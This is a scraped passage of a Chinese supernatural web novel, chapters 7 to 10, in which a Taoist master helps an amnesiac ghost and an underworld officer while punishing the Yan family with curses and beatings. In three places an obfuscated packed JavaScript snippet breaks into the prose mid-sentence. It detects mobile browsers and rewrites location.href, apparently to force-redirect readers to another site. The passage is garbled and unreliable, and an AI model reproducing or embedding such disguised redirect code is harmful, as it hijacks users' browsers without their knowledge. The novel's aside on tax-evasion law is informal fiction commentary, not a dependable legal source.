不识货,知道让无常接引着带去地府意味着啥吗? 现在地府投胎难,魂太多,没地处理,地府都不再引渡灵魂,全凭自己去。但能让接引下去的魂,都是大善有功之人,换句话说就是有功德。 当然,大恶之人也会有无常来接,不过会变成五花大绑,压着下去。 临下去前,飞白说:“你再好好寻思寻思,我今天打听一天,啥信息都没找到,好像你是凭空冒出来一样,也是奇了怪了。” 要不是确认王尉程不敢耍他,当然,主要是确认王尉程不敢耍那位大佬,飞白早翻脸了。 王尉程委委屈屈,他真的啥都想不起来,要不然也不会狗胆包天去缠着那位大佬了。 7. 第 7 章 “没找到?”洛宛童皱眉,“你这个无常是凭自己本事当上的吗?” 飞白心一虚,大声嚷嚷道:“咋……咋不是了,我可是实实在在、扎扎实实,凭自己本事上位!” 朋友是自己凭实力交到的,路运是他朋友,所以路运是他实力的一部分。 逻辑没问题! 飞白理直气壮起来。 洛宛童抓到飞白脸上一闪而过的心虚,嗤笑一声,“行,就当你是自己本事,那这个咋说?” 她扬起下巴点点缩一边的王尉程。 被点名的王尉程赶紧露出谄媚的笑容。 洛宛童嫌弃的移开视线。 飞白一哽,“这个……这个……” 找不出理由,飞白直接摆烂,方言都出来了,“那我啷个晓得嘛,找都找了三天咯,硬是找不到噻,我有啥子法嘛!” 飞白还觉得委屈呢,他堂堂一个无常,主要职责是引渡灵魂、押解恶灵,哪个鬼见了不退避三舍、毕恭毕敬啊。 结果现在竟然在给一个不知道哪冒出来的鬼找记忆,还有没有天理了! 飞白两手一摆,“反正找不到,我能力就那样了,要不大佬,你换个人?我刚当上无常没多久,鬼脉啥的都没积累起来,能力有限,但有任职时间长的鬼差,他们指不定有办法呢。” 洛宛童似笑非笑:“好啊,这个任务交给你。” 飞白迅速改口,“啊,这个,那个,咱们还是继续讨论讨论王尉程是咋回事吧。” 先不说能不能拉来一个资深鬼差,就说拉来,两方干起来,谁能赢他不知道,但他知道最后他一定很惨。 他又不是疯了,他是想祸水东引,又不是想把祸水往自己身上引。 “我觉得,瞅着他窝窝囊囊的样,可能是个大学生。”飞白一本正经,问向王尉程,“你还记得死前多少岁不?” 王尉程挠挠头,仔细想了想,迟疑的说:“好像是02年七月十八号出生的,大概二十二岁?” 飞白激动:“妥了,大学生没跑了!” 洛宛童翻白眼,“你瞅他那样,像是能考上大学的样吗?” 飞白觉得有道理啊。 王尉程不服气,他正要为自己的清白据理力争。 洛宛童却心神一动,走到窗边,远远望见远处天空飞来一团黑气。 这团黑气飞的速度非常快,眨眼间就要到洛宛童房前。 飞白当即掏出哭丧棒,“哎呀,胆大包天啊,竟然有鬼当我面行凶!” “滚一边。” 洛宛童扫开飞白,抬手虚空画符,呼吸之间便完成,画完的一瞬间,一道金光闪过。 金色和黑气相撞的瞬间,黑气瞬间溶解,连惨叫声都没来得及发出,金色停滞一瞬,确认空气中不再存在黑气才消失。 飞白举着哭丧棒,目瞪口呆。 不是,这对吗?!这对吗?! 虚空画符啊!他做了五百年的鬼,都没见有谁能虚空画出金符的,而且画的还如此丝滑流畅,一次就成! 嘶! 嘶! 飞白牙疼,怕不是哪家大佬伪装普通人在体验生活呢。 洛宛童都不用掐指算,心神感应间,她便得知鬼气是谁搞出来的。 暗算天师,简直是自寻死路。 给天道打工,活是不好干,但因为连接很紧密,致使天师灵觉敏锐,比如可以通过和天道的连接算一些不好算的卦、画符十次九成、修炼一日千里等。 自然在有人要暗害天师时,无需其他手段便能直接追踪罪魁祸首。 当然福利和职责兼并,天师比常人更受天道关注,常人可能要做大恶才能被天道关注,甚至哪怕大恶都关注不到。 天师还没怎么着呢,就会被注意到,且一旦做坏事,一身修为尽失,反噬也比常人更加严重,轻则半身不遂,重则身死道消,再重魂飞魄散、永无来世。 闫家。 看来是知道自家最近发生的事不对劲儿了。 洛宛童冷冷一笑,接着又打出一道符,这道符飘在半空,猛然一亮,发出赤红光芒,随即消失不见。 飞白谄媚的上前,想要殷勤的给洛宛童按肩膀,被洛宛童躲开。 “大佬,这点小事不值得您亲自动手,小弟我愿意服其劳的。”吹捧的话飞白张口就来,“您亲自动手,完全是大炮打蚊子,那些魑魅魍魉哪配啊。” 王尉程扭过脸,撇撇嘴。 趋炎附势的嘴脸真令人恶心。 转头,王尉程争抢着奉承,“也不知道哪个不长眼的玩意熊心豹子胆来冒犯您,我觉得那个肯定是不想活了,所以来您这求解脱了!” 但真心实意、发自内心的钦佩话不恶心。 被吹捧的洛宛童勉强给俩人一个好脸色。 虽然面上还是很嫌弃两个人,但身体上很诚实的掐算起来。 掐算完,洛宛童有些怀疑,担心是自己技法生疏,又换了种方式重新掐算了一下,结果还是那样。 洛宛童用怀疑的目光看着王尉程:“你没给错出生日期?” 王尉程:“应该……没有吧。” 洛宛童:“你给的这个八字主人还活着。” 飞白倒吸一口凉气,“有人换命!” 完辽完辽,一旦出现这种事,可都是不得了的大事。代表着无穷无尽的麻烦,也代表着他会加班! 洛宛童想踹飞白一脚,“你个白痴!” “就不能是他记错了嘛!”洛宛童指着王尉程,“自己记忆都能搞丢的人,他说的话能有多靠谱?” 飞白呆愣住,“是……是吗?” 王尉程无辜的挠挠下巴,眨巴眨巴清澈的眼睛。 洛宛童直接把俩人捆在一起丢出窗外,撂下一句:“滚远点!” 便“啪”的关上窗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237009|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被拒之窗外,飞白低声骂王尉程:“你还能干成啥,看你就来气,你哪怕现在没死,到岁数也得有老年痴呆。” “不对,不到岁数都能得老年痴呆!” 王尉程张嘴想怼回去,飞白举起来哭丧棒。 王尉程的话咽了回去。 飞白哼一声,扛着哭丧棒,忽然他的脑袋被重重抽一下,头上的帽子都飞了出去。 他大怒,跳起来怒骂:“谁啊!谁打我!” 左看右看,周围除了一颗桂花树,没有任何可疑的事物,可能是有风,一节桂花树枝在轻轻摇摆。 飞白怀疑的看向王尉程,随即又打消怀疑,就这个哈儿①,他要有偷袭他还不让他知道的能力,他拧下来给当球踢! 王尉程跟着打量四周,最后啥都没看出来,“无常大人,没人没鬼啊。” “总不能是这棵树成精了打得你吧。”王尉程开起玩笑,说着还踢了踢树干。 说完的下一秒,一道风声袭来,比刚刚抽飞白还大力的巴掌袭来,直接给王尉程抽的原地转三圈。 “妈呀,真成精了!” 飞白大叫一声,转身就跑。 王尉程转完圈,神志都没清醒呢,也要踉跄着跟着跑。 连抽两鬼的桂花树枝冲着两鬼逃跑的方向摇了摇,威胁意味十足。 但还没等它继续嘚瑟,一道虚空符飘来,直接打在树干上,树枝霎时不动。 * 闫家 富丽堂皇的屋子里此刻乱作一团。 客厅中央摆放着一张桌子,上放着一个黑色坛子,坛子前还放着一个香炉,里面点着四根香。 不年不节,在正屋燃香本就诡异,再加之桌前倒着的老头和喷洒在四周的血滴,整个一凶杀现场。 老头哪怕倒地嘴里还不停地往外冒血。 “爸,咋办啊,这个老头是不是死了?”闫旭的妹妹闫晶惊慌失措的喊着闫成齐,虽然她也害死过几个人,但那都是逼人去死,从没亲眼见过。 尤其是现场如此惨烈的。 闫成齐是在场中最冷静的人,他表情严肃,小心翼翼的靠近,伸出一根手指,探到地上老头的鼻下,感受到吹在手上微弱的呼吸,他松了口气。 他不怕人死,甚至亲眼看人死也不是没有过,但不能死在闫家,要不然不大好处理,毕竟白天那么多人都看见这个人进出闫家了。 闫成齐:“没事,人还活着。” 闫夫人王雅琼松口气。 此刻屋子里只有他们一家三口,闫旭还在医院,其他的佣人都被打发到另外的佣人楼里,并让他们今晚不要进主楼。 但还没待王雅琼问询倒地的老头如何处理,她突然感觉身上十分沉重,好似被什么重物压着,脊背都直不起来,只能微微弯下腰。 同样症状的还有另外两个闫家人,他们互相查看,但背上空无一物,这让他们惊恐万分。 8. 第 8 章 “老……老公,什么情况!是不是……”王雅琼脸色苍白,身体僵硬,一动不敢动,她甚至没有扭头看一下的勇气。 闫晶尖利高亢的声音快要掀翻房顶,她疯狂扯着衣服,双手在后背扫来扫去,“爸!我背上是不是有鬼!你快帮我赶走!快点啊!” 闫成齐后背发毛,尤其在摸完,确认后背没有存在任何东西后,他手都有些哆嗦。 他知道世上有些能人,能做常人所不能之事,神鬼之说似乎也不是胡编乱造、封建迷信。 但他虽有警惕,但没多么敬畏,尤其是在他花钱便可以让这些“能人”替他做事之后,他更不会害怕。 但现在,他真的有些怕了。 闫晶还在不停的吵闹,疯狂拍打自己的后背,每一道力度都极重,似乎想要凭这种方式驱赶自己背上存在的不明生物。 吵得闫成齐脑袋疼,他大吼一声,“闭嘴!” 闫晶被吼的吓一跳,王雅琼搂过她,随即开始呜呜哭泣。 闫成齐深吸一口气,竭力找回理智,指着昏倒在地还不停吐血的老头,他对王雅琼说:“你给小金打个电话,让他来处理下这个人。” 闫成齐冷静让王雅琼鼓噪的心跳渐渐平息下来,她手忙脚乱的掏出手机,给小金打电话。 闫成齐则佝偻着身体往电梯走去,他要去书房。 在他移动的时间里,本来只是微微弯曲的身子愈发佝偻,以肉眼可见的速度朝着90°进发。 从后面看,哪有之前意气风发、不可一世闫家当家人的风采,整个一风烛残年的小老头。 一进书房,闫成齐走到博物架前,想拿下来上面放着的一个木盒,本来很轻易就拿下来的高度,这次还得踩着一个高凳。 踉跄着从凳子上下来,差点摔倒在地,闫成齐恼怒的踢开凳子,大力掀开木盒,从里面掏出一块手掌大小的洁白无瑕的玉牌,质地细腻,书房灯光照耀下,散发着柔和温润的光泽,这是极品羊脂白玉牌。 有市无价。 在拿到的瞬间,本来完整无痕的玉牌瞬间四分五裂,哪怕不相干的人看到这样一幕都得心疼到心脏痛。 闫成齐也心脏疼,但他不是因为玉牌碎了,而是因为玉牌没用。 这块玉牌别人送给他的,那人是玄门中人,送他玉牌时,那人说玉牌上刻有符文,可挡一次灾。 但因为玉牌太大,他本身也不是爱玉之人,再加上他的身份不适合穿戴很贵重的饰品,因此这块玉牌他便当做收藏品放在书房。 谁知道它竟然如此没用! 废物! 全都是废物! 闫成齐感受着背上越来越重的压迫感,恼怒的摔掷碎玉牌,本来便四分五裂的玉牌更加碎尸万段。 他挪到凳子上,现在他坐不了椅子,喘着粗气,手紧紧握拳,眼神恶狠狠。 倒真是小瞧了。 但他高高在上惯了,他的傲慢让他哪怕意识到洛宛童拥有不得了的本事,第一反应也不是主动求和,他仍旧认为自己拥有让洛宛童低头的力量。 而不待他动用自己的力量让洛宛童低头,之前被竭力压制下有关闫家的负面新闻轰然爆发。 * 一所大学校园里,王尉程蹲在树下,借助它的树荫躲避热烈的阳光,十月的太阳没有夏季灼热,但仍不是他一个鬼力薄弱的小鬼可以抵抗住。 飞白倒不用躲,他感受不到阳光的温度,同样阳光也不会灼伤他,这是无常这份职业给予他的庇护。 当然,他还是更喜欢夜晚。 此时正值下课时间,校园里上课和下课的学生流动,飞白看的眼睛快要瞎了,他烦躁的问王尉程:“你有没有看到熟悉的人?” 王尉程盯得眼酸,他摇头,“没,啥反应都没有。” 那天俩鬼被扔出去后,畏惧于成精的桂花树,一时不敢再去打扰洛宛童。 但飞白也害怕洛宛童的拳头,随手能虚空画符的大佬,打他不和玩儿似的。 所以思来想去,俩鬼想出个笨办法,一个大学一个大学的逛,看能不能刺激刺激王尉程的记忆。 虽然飞白十分怀疑王尉程的智商能不能考上大学,但在王尉程据理力争之下,还是将信将疑的开始逛大学。 但飞白坚持认为哪怕王尉程能考上大学,也必不会是好大学,提议从最差的大学开始逛。 王尉程还想梗着脖子为自己辩驳,但在飞白甩哭丧棒后,非常乖顺的同意了。 结果就是逛了两天,一无所获。 申扈市好歹是一个一线城市,大大小小学校加起来有六七十所,他俩逛了两天,连专科学校都没逛完。 王尉程揪着地上的杂草,嘟嘟囔囔的说;“我就说先从重点大学开始逛,非不同意,现在好了吧,白白浪费两天时间。” 飞白耳尖,听到王尉程的嘟囔,他眼睛一眯,手一伸,哭丧棒具现,“说我坏话呢。” 王尉程急忙讨好的说:“哪能呢,我说我自己呢。太没用了,连自己的记忆都能弄丢,还得劳烦大人您费心费力。” 飞白冷哼一身,勉强满意,重新收起哭丧棒。 王尉程松口气,急忙转移话题:“大人,要不咱再去找找大佬?” “咱继续逛下去,纯属浪费时间嘛。” 飞白白他一眼,当他不想啊,问题是你扛得住大佬窗外桂花树妖的抽打啊。 上回那一抽,疼的他到现在都没缓过来。 不愧是能长在大佬窗外的树妖,和一般的妖不一样。 王尉程讪讪一笑,他也怕被抽。 俩人挤到树荫下,揪着树下杂草,和两朵黑暗蘑菇似的。 远处两个女大学生走来,其中一个长发女生说:“你们看新闻了没?咱们市有个申交大的学生为救落水儿童溺亡了。好可惜啊,那可是申交大的学生。” “都不敢想他的家人得有多伤心,辛辛苦苦供出来一个大学生,还没等享福呢,孩子没了。”另一个短发女生满脸惋惜,那可是申交大,她高中三年不睡觉狂学习都难考上的大学。 “好像那个学生没有家人。”长发女生迟疑的说,说着掏出手机点开当地新闻,确认自己没有说错后,递给同伴看,“真的没有家人。” “啊,咱能去送送他吗?总得让英雄知道他的来去都是有人期盼惦记的吧。”短发女生提议,“说来说去,都怪那个小孩的家人,自己孩子都看不好,要啥孩子啊!平白连累别人。” “可不是!”长发女生同仇敌忾,“我试试能不能问到送别的日期,到时候咱俩一起去。” “唉,谢安平,名字里带着平安,却最终没有终老,也太残酷了。” 两个人渐行渐远,飞白捣一下王尉程,“你瞅瞅人家,再瞅瞅你,同样是死,有人重于泰山,有人轻于鸿毛。” 王尉程不服气,“万一我就是那个谢安平呢?我八字都能记错,再记错一个名字也很正常啊。” 飞白不屑,斩钉截铁的说:“不可能!绝对不可能!救人而亡会有功德,你看看自己,像是有功德的样子吗?” 王尉程要是谢安平,他的头拧下来给王尉程当球踢! “算了,不和你闲扯。”飞白站起身,拍拍手,“你自己再逛逛,我还有事,先走了。” 王尉程眼疾手快的拽住飞白的衣角,“大人,你干啥去啊?带上我呗。” 飞白:“我去地府,你确定要一起?” 王尉程讪讪的松开手,“那……算了。” 飞白嗤笑,掏出小冥通,它在不停的弹消息。 飞白点开,边骂边回:“催命呢,发那么多消息,要死啊!” 王尉程目送飞白离开,他抬头望望天空,现在光线充足,怕不是他离开树荫的下一秒就会被烫的残缺不全。 没办法下,王尉程只能蹲在树下,静待天黑。 太阳的温度依旧炽热,但王尉程却没有太多感受,他看着穿梭在校园里的学生,眼含羡慕。 幽幽叹口气,他摇摇头,驱散突如其来的情绪。 还是仔细回想回想吧,万一想起点啥呢。也是奇怪,他的记忆咋消失的那么干净,硬是想不起来。 晚上七点,洛宛童窗外,飞白和王尉程鬼鬼祟祟的摸来,你推我,我让你,都想让对方先行一步探探路。 最后飞白凭借他的哭丧棒胜出,王尉程哭丧着脸视死如归的靠近窗户,胆战心惊,生怕桂花树突然暴起,给他来一下。 但直至靠近窗户,桂花树都毫无动静。 王尉程惊喜的笑开,对远处的飞白招手:“大人,你快来啊,今天没事。” 飞白谨慎的等了一会热,确认桂花树真的不会打人后,才神情轻松的飞来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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但没等它嘚瑟多久,一道金符飞入树中,本来探过来的树枝登时回归原位。 一个小时后 洛宛童捧着手机,王尉程和飞白鼻青脸肿的跪坐在地上,打的他俩死时的样貌都露了出来。 飞白没有太大变化,他本身是青年时病死,因此死容不惊悚,顶多眼窝深陷一些,身形瘦削许多。 但王尉程是淹死,死状就吓人很多。 飞白捂着眼眶,偷偷瞪一眼洛宛童身后的两个纸人,说:“大佬,我和这个糊涂蛋逛了两天的学校,都没找到啥有用的信息,您能不能帮一下,给我俩指个方向也行啊。” 洛宛童从手机上收回视线,上面赫然是一则新闻:申扈鸿达科技有限公司董事长闫飞达涉嫌行贿罪,案件已移交检察机关。 她看向飞白,想了想,说:“行吧,正好我今天心情还可以。” 说着便算起王尉程这个名字。 之前她算的那遍比较随意,在得知八字本人还活着时便被打断,但当时她有察觉到王尉程和这个八字的主人有联系,现在再继续算算。 她惯用的算命工具是龟壳,但现在手中空无一物,还有些不习惯。 “正印正官具现,不受破损、无有空亡,旺而有力且为喜用神,这人学业顺利且成绩不错。18岁那年文气蓬勃,文昌入位,应在东南。按如今情况应是高考顺利,考入的大学很不错。东南……应该是在此地上的大学。” “你带着他去这个城市比较好的大学逛一逛,应该能找到人。哦对了,这人应该学的是文科类,且本人外向,好结交朋友,在学校里应该小有名气。” 同时洛宛童察觉到一些不对劲,因为她从王尉程的面容上看出他和这个名字八字显露出的信息完全不一样。 鬼无法算命,因为在他们脱离阳世的那刻,所有世间的规则都不在适用,自然包括以人道经验累积而成的面向算命之说。但洛宛童是天师,再加上王尉程是新死,面容还可以看出一些痕迹。 “你应该不叫王尉程。”洛宛童再次掐指,肯定的说,“你之前给我的八字和这个名字才是一对。” “而……那个人还活着。”飞白惊道,“嘶……” 王尉程不可置信,名字他还真记错了?! 那他到底是谁? 9. 第 9 章 飞白看王尉程接受不了的样子,安慰他说,反正都死了,知不知道生前事情有什么重要的。 洛宛童非常赞同:“对呀,有没有记忆的又不影响你投胎,而且失忆还省了孟婆的一碗汤呢。” 飞白激动的说:“这个好,这个好,我们地府正倡行节俭节约呢,省一碗孟婆汤也是省,节约地府开支,从每一个鬼做起!” 王尉程:“……” 地府节约都节约到这个地步了吗?一碗孟婆汤都不想给鬼喝。再说失忆只是忘了自己过去的经历,掌握的技能又不是忘了,尽在犄角旮旯的地方节约,怕不是给人间投胎造成多大麻烦哟。 王尉程反正不愿意,他就想要自己的记忆。他找不回记忆,就不去地府。 他如此固执,飞白来气了,故意甩哭丧棒,吓唬他,他虽然害怕,但还是梗着脖子不屈服,就是想找自己记忆。 飞白又不能真打他,只能扭身向洛宛童哼唧:“大佬,你看看他,死犟死犟!” 洛宛童一摆手,其中一个纸人飞扑出去,左勾拳直捣王尉程眼眶,这一场酣畅淋漓的单方面殴……不是……对决持续了十多分钟。 打完,纸人重新回到洛宛童身后。 王尉程此时的头肿胀三圈,和被蜜蜂群围着他脑袋狂蛰后一样,他捂着眼眶,眨眼间还往下流血泪。 一边打,王尉程一边往外滴水,洛宛童嫌弃,虽然不会浸湿地毯,但阴气缭绕,脏死了。 她举手,大拇指和食指交搓,一团火苗出现,她轻轻向地面甩去,火苗落地,霎时间膨大,变成熊熊烈火。 吓得飞白疾速飞起躲避,四肢齐用紧紧贴在屋顶。 火焰起的快,没得也快,不过三秒,便消失殆尽。 屋子摆设一切如旧,仿佛刚刚满地烈焰都是错觉。 王尉程一时躲闪不及,被火焰燎到衣角,要不是飞白眼疾手快拿哭丧棒帮他灭火,怕不是他会连同他的衣服一起消失。 飞白小心翼翼下降,他试探性落一只脚,确认地面不烫,才放心的落下。 他在内心安抚自己,然后转身还得逼着自己挤出笑脸,“大佬,您的火焰可真是厉害!” 洛宛童蹙眉,奇怪的说:“你一个无常,还怕这点火?” 飞白:“……” “是这样的大佬,我给您解释一下哈,我是无常没错,但我首先是一个鬼,是鬼就没有不怕您这火焰的,您随手一搓,对我们来说可是毁灭性打击。” 他是当了无常,又不是当上阎君,再说了,那火焰里要溢出来的阳气,哪怕是阎君来了,都讨不了好。 洛宛童恍然的点头,原来现在的无常都这么弱呢。 “行,我下次会注意。” 飞白:“……” 还有下次呢?! 飞白硬挤出笑容哄着洛宛童,“好嘞好嘞,辛苦您了大佬。” 王尉程满脸幽怨的从窗户外飘回来,刚刚情急之下,他被飞白一脚踹了出去,结果便是撞在树上,半天才撕开。 飞白心虚了一瞬,扭过脸不看他。 王尉程眼神更加幽怨,但哪一个他都得罪不起,最多就是眼神攻击。 飞白咳嗽一声,转移话题的说:“你们说有没有一种可能,王尉程可能是害死糊涂蛋的凶手啊?有关自己的一切,糊涂蛋都忘得一干二净,但这个王尉程,他记得那么清楚,不是生死之间的关系,说不过去啊。” 王尉程……不是,糊涂蛋张了张嘴,又重新闭起来。 洛宛童给飞白一个赞样的眼神,“既然有思路了,还待我家干嘛?” 飞白一愣,“啊?不是,思路是有了,但去哪找这个人没思路啊。” 洛宛童:“我之前说那么多话是白说的啊,耳朵没用就割掉!” 说完,手一摆,两个纸人上前,一人提一只鬼,大力从窗外扔出去。 洛宛童翻个白眼,“小红小绿都比你俩强。” 她伸手,两个纸人霎时缩小飞回她的手掌,被她装回口袋,这可是她的御用打手,得随身携带。 第二天,洛宛童带上她的御用打手出现在申扈市中心医院的VIP病房。 闫旭一行人仍旧在医院住着,准确说他们不敢离开医院。自从那天开始,他们像被衰神附体一样,意外不断,小到喝水呛到,大到被重物砸到脑袋昏迷,一天24小时,他们差不多每半小时要出一次意外。 在医院里住着,随时有人抢救,要是出了院,怕是下一秒人就得没。 生死大事挂在心头,连无法睡觉的烦躁都能忍忍。 但洛宛童给噩梦符和霉运符可不是为了让他们渐渐习惯到脱敏的,她要的是他们夜不成寐、寝食难安、命悬一线、胆战心惊! 而且不亲眼看看仇人的惨状,报复的快感不是少一大半吗? 走到闫旭的病房前,她径直推门而入,里面除了闫旭,还有一男一女两个助理,不待两个助理问洛宛童是谁,闫旭目眦尽裂的大喊:“你个贱人!你竟然还敢出现在我面前!” 洛宛童面不改色,左手一摆,左侧的小绿刷刷走到闫旭身前,在众人都没反应过来的时候,高高扬起手臂,重重一巴掌打下,闫旭的左脸迅速红肿起来,接着又一巴掌打下,他的右脸肿起来。 连抽六下,打完,小绿回到洛宛童身后。 洛宛童:“嘴贱,就得巴掌治。” 男女助理这才反应过来,俩人大惊失色,男助理上前就要压制洛宛童,刚打完人的小绿手臂一伸,重重的一巴掌扇在男助理脸上。 女助理脚步一顿,纠结自己该不该上前。 小红上前一步,踹开挡路的男助理,女助理见状急忙闪开。 为了点工资,不值得让自己挨顿打。 洛宛童走进病房,小绿关上门。 闫旭眼神疯狂,连续的折磨致使他的精神愈发不好,身形瘦削,衣服空荡荡,眼窝深陷,露出来的皮肤上都是清淤,他现在宛如一个精神病人,神经兮兮。 “你以为你赢了吗?洛宛童,你躲不掉我,我迟早能让你跪下来求我,求我放过你,求我放过你家!”闫旭一把扯掉手上的针,大力之下,扎针处往外冒血。 他上前想掐洛宛童脖子,被小红一脚踹飞,最后跪趴在病床边沿。 洛宛童掏出手机,点开主页,翻到“喜欢”这个界面,里面都是她曾点赞过的视频,她点开排在第一个位置的视频,加大音量。 “申扈市副市长李某涉嫌收受房地产企业巨额贿赂……” “今日,国家税务总局披露,启万集团董事长闫某涉嫌通过虚设慈善基金会转移企业利润,三年间偷逃税款逾48.6亿元……” …… 连续播放了十多个视频,每一位新闻主角都不一样。 闫旭愣愣的听着新闻,里面出现的每一个人名职务,他都非常熟悉。 洛宛童关掉手机,说:“你不用担心自己在外面孤独,因为我肯定会送你们一大家子团聚。” 闫旭扭头,死死盯着洛宛童:“是你!是你对不对!” 洛宛童非常坦然:“对啊,要不然我来这里干嘛?为的不就是告诉你这些好消息嘛。” “之前仗着家室,欺负一个脑子不灵光的小姑娘很得意对吧,现在呢,丧家之犬?” “你!” 闫旭一把抓过桌上的水果刀冲向洛宛童,那是刚刚女助理在给他削水果用的。 女助理尖叫一声,捂住眼睛。 待她再次放下手时,只看见刀已经被夺下,而闫旭在被暴打,毫无还手之力。 洛宛童警告蠢蠢欲动想要通知医生和报警的两个助理,“趁我现在良知还在,就安分点,要不把你们打成同伙,你们不会想体验闫旭的待遇的吧?” 两个助理瑟瑟发抖,齐齐扭过身对着墙角,女助理还捂上了耳朵。 同时女助理也松口气,她一直很纠结还要不要干这份工作,虽然这份工作工资挺高,但顶头上司是神经病,每回上班她都胆战心惊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237011|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>现在好了,不用再纠结。 闫旭被打的奄奄一息,眼睛都睁不开,成一条缝。 洛宛童哼笑:“好了,我明天还会来看你的,现在我要去看看我的其他‘好朋友们’了。” 目送洛宛童和她的两个打手离开,女助理才偷摸转过身,她转过身,飞快地说:“我去叫医生。” 说完提腿跑路,男助理明显没有女助理那么果断和机智,他犹豫的上前扶起闫旭,不知道自己该不该报警。 这是法外狂徒吧? 是吧? 那如果报警,让她知道了,不会再让人打他一顿吧。 男助理摸摸被打了一巴掌的脸,真的疼。 等医生一窝蜂的跑来,却没看到女助理时,男助理才灵光一闪,趁着医生检查的功夫,也溜之大吉。 下一个病房便是王清雅的房间。 此时王清雅正在大吵大闹,疯狂打滚,“我不管,我就要那个贱人死,啊啊啊啊啊啊,好难受,我想睡觉,呜呜,贱人,婊子,没爹妈的狗东西……” 一连串的脏话从王清雅口中冒出,连口气都没歇,高低是个rapper。 这次都不用洛宛童指挥,小绿小红直接上前开揍,尤其重点关照她的嘴巴。 王清雅被打的尖叫连连,一开始还能骂,后来便只剩呜呜哭泣声。 她奋力挣扎,但都是徒劳无功。 洛宛童端起桌边的水杯,照着王清雅的头倒下,水打湿王清雅的头发,让她愈发狼狈。 王清雅被死死压制住,小红一把揪住她的脑袋,让她抬头。她这才看到洛宛童,她眼神怨毒的盯着洛宛童,好似要咬下洛宛童的肉。 洛宛童抱着手臂,微微弯腰靠近王清雅,“我还是善良,没有直接按你在马桶里。” 之前王清雅的霸凌可不止是言语上的攻击。 王清雅吼道:“小贱人我告诉你,你趁早放开我,要不然我让我爸打死你!你知道我小姑父是谁么?他……” “闫成齐嘛。”洛宛童说,“七拐八拐的关系,也值得你拿出来说。” “怎么样,夜不成寐的滋味如何?” 王清雅一愣,她不知道洛宛童问这个话是什么意思。 洛宛童惊讶,“不会吧,原来有人这么蠢的吗?你脑子再没用,回想回想也能猜到点端倪吧。” 王清雅想都不想的骂:“你tm才……” 小绿一巴掌扇下。 洛宛童:“说脏话不好,我不爱听。” 洛宛童对小红小绿摆摆手,两个纸人松开王清雅,但王清雅也没有力气去追打洛宛童,她现在浑身疼,只想叫医生。 “算了,不知道就不知道吧。”洛宛童直起身,“我明天会再来看你的,弱智。” 一个病房一个病房的进去出来,待洛宛童全部走完,已经到晚上七八点。 时间不早,该回家吃饭,洛宛童带着两个纸人往医院外走,走廊上正巧和一伙步伐急匆匆的医生护士正面对上。 女护士说:“刘医生,刚608病房按响了床铃,不知道是不是也被打了。” 刘医生打个哆嗦,抬手止住女护士的话。 越听越害怕。 好端端的,病人在病房里被人打了一顿,问题他们医院根本没看见有陌生人出入。 奇怪就奇怪在,病人们身上的伤都真实存在。 他有点想叫精神科的医生来一趟看看了。 明明洛宛童如此显眼,但这群人却没有一个注意到她。 * 长桥派出所 下班的点,这里依旧灯火通明,派出所的所长林明生神情纠结的在门口等待,没等多久,一辆黑色汽车开来。 林明生上前迎接,车上下来一青年一中年两个男人,中年男子主动和林明生握手寒暄。 林明生引着两个人往他办公室去,没有外人后,他们才说起正事。 “林所长,能带我们去看看那三个一直吆喝背上有鬼的人吗?” 10. 第 10 章 要明确一点的是,偷税漏税肯定违法,这个没的说,但偷税漏税不一定追究刑事责任。而且最关键的一点是,偷税漏税和逃税罪可不是一个意思。 刑事案件的定义很严肃,想要凭偷税漏税达到刑事案的标准,闫成齐这点钱还不够格。 是的,你没看错,不够格。 或许你会觉得,那可是48.6亿元,这还不够格?! 如果按照现行暴富最快捷最轻松的两种方式——中彩票和拆迁来算,拆迁一次假如得500万,那需要拆972次,按照一天一次来算,也得需要三年。如果是彩票次数更多,因为中彩票还需要纳税,拆迁款不用。 这样算,48.6亿确实非常多。 但你需要明确逃税罪的法律条文,数额较大且占应纳税额10%以上,处三年以下有期徒刑并处罚金;数额巨大且占应纳税额30%以上,处三到七年有期徒刑并处罚金。 只有同时满足金额和比例要求才会构成刑事犯罪。 48.6亿多吗?多,肯定够得上数额巨大,通常超过5万便是数额较大,超过50万就是数额巨大。但问题在于,它没达到比例要求。而且初次处罚只要老老实实补缴和缴纳罚金,根本不会判刑。 启万集团是上市公司,是当地巨头,他们每年的纳税额是普通人想不到的数字,比如某上市游戏公司23年的纳税额是199亿。 所以在认错态度良好、表现积极的情况下,闫成齐没有被逮捕,自然也不必进看守所。 这两个男人想见闫成齐,只能去他家里找。而众所周知,现在防诈意识深入人心,这个都多亏了辛辛苦苦、尽职尽责普法的有关部门。 所以一中年一青年去见闫成齐,要想不被当做骗子拒之门外,真得需要信誉优秀部门的介入。 这都是他俩出公差以来积累的工作经验。 而哪个部门信誉优秀? 公安部! 三岁小孩子都知道遇事打报警电话,你就说可不可靠,优不优秀。 林明生欲言又止,本来今天他正常下班,结果临下班前接到上级领导的电话,说首都来人,让他接待一下。 